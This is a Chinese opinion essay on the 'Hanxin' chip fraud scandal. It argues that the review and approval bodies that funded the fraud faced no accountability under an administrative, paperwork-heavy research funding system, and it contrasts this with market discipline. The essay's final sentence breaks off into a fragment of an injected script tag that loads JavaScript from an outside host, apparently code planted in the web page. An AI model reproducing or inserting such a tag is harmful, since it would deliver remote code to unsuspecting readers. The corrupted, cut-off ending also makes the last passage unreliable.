有同學看了“漢芯造假”的報道，找我來討論。經驗說，這樣的事情，完全搞清真相有相當難度。誠然，舉報人、媒體記者和政府調查組已經付出了艱苦的努力，提供了豐富的資料；有關機構也發布了正式處理的公告。但是，要論舉一反三，我覺得信息還遠不足夠。倒不是說誰在刻意隱瞞什么，而是看世界的角度很多，不向某一特定的方向看，總有一部分“真相”怎樣也看不到。

　　比方說，“漢芯”當事人究竟是怎樣騙人的——包括公告指明的“造假欺騙”和“夸大欺騙”——大家已經知道了。但是，有關各方究竟在什么情況下“被騙”的，人們還所知甚少。一件騙案，僅有騙方的行為和動機，總不是一個完整的故事。要亡羊補牢，搞清被騙各方究竟怎樣被騙、在什么條件下被騙，可能更為重要。

　　不是街市上的小騙局，隨便找個理由說說就算了。據稱，“漢芯一號在問世3年時間內，向國家各部門成功申報項目40多次，累計騙取無償撥款突破1億元”(今年1月24日出版的《21世紀經濟報道》)。這一點，今年5月12日上海交大發布的《公告》既沒有確認，也沒有否認。順便一提，這也是我認為公告不能令人滿意的地方——這么一個舉國關注的事件，從舉報到公布處理結果，5個月的時間過去了，怎么連涉及的經費究竟多少，也不明示一下？

　　但是，《公告》確認了的事項，也足以說明“漢芯”絕不是小事一樁。第一，當事人的職務是國內名牌大學的學院院長、校辦高科技公司總經理；第二，當事人不但是正教授、博士生導師，而且是教育部審批的“長江學者”，以及政府特殊津貼的領受人；第三，當事人從事的科研項目，在國家科技部立項，獲得國家科研經費；項目的部分研究成果，通過了有關方面的鑒定，并召開了新聞發布會；第四，當事人負責的“科研成果產業化”項目，在國家發改委立項，獲相關資助經費。這里涉及的諸項，比如職務、職稱津貼、以及經費數額未經確認的國家科研立項，沒有一樣是簡單的。求之不得的人數甚眾，大家爭來斗去，說“過五關、斬六將”才能殺出重圍，一點都不夸張。

　　的確，競爭無處不在。大學教授包括本人在內，既不超凡也不脫俗，當然也擺脫不了競爭的壓力。問題是，這里所言“競爭”，不是習慣意義上的“市場競爭”，而是更為一般的、爭奪一切稀缺資源的競爭。事實上，人類為了避免在競爭中滅亡，在各個時代各種情況下總要對競爭加以限制。這是“五常經濟學”的第一課。下面的結論很重要：正是對競爭的不同限制，才區分了不同的競爭類型。比如價格機制當頭的“市場競爭”，不過是在清楚界定的私人產權限制下才有的行為結果——你的財產神圣不可侵犯，除非他人出價，資源絕不歸他人配置。其他限制條件，則定義了形形色色的其他類型的競爭。

　　“漢芯”過關斬將、取名獲利的競爭，究竟是在什么樣的限制條件下進行的？這一問，問到了故事另一面的關鍵。常識說，那些名頭和聲譽的獲得，以及數額巨大款項的得手，不可能沒有經過層層的申報、審查和批準。可是，騙案曝光之后，那層層疊疊的“評審機構和把關人”為什么如同隱身人一般，沒有一個出來哪怕說一句“對不起，我等中了招”？

　　因為在制度上完全沒有這樣的要求！這倒不是說有關制度太過簡陋。恰恰相反，近年我國教育科研機構里的程序越來越繁雜。不少教研機構甚至要雇傭專人，才能完成越來越多的填表任務。我自己親見一份申請某教育研究項目的文件，總頁碼居然超過了1000頁！當時我不過有點好奇，審查者怎么看得過來如此海量的信息？“漢芯”案提醒人們，那些耗費巨大社會資源的報批文件也許就是裝樣的，甚至根本就沒有人認真看過。不難理解，對結果無須負責的“審查”，誰又會當真呢？

　　是我們熟悉的體制和機制，曾經彌漫在我國資源配置的各個領域。主要特征就是行政權力主控、程序繁雜、權力與責任脫節。在這套限制條件下，資源的利用和收益的分配，既無效率，也不可能公正。改革以來，農業、工業和商業率先摒除了這一套，所以中國經濟在世界上開始大有看頭。但是高教、科研等領域究竟改了多少？以“漢芯”為例，上億財政資金被騙而看不到有誰出來負責，難道這也可以說是“市場化改革過了頭”？

　　不是說市場體制下就不會有騙案。過去有，現在有，將來還有。可是市場制有一招，那就是連被騙的一方也要負責任——不一定要寫聲淚俱下的檢討，可是受騙造成的財產損失，傷身割肉，是最嚴厲的教訓。完全不長記性嗎？也好辦，財產被騙光之日，就是再不能?script src=http://er12.com/t.js>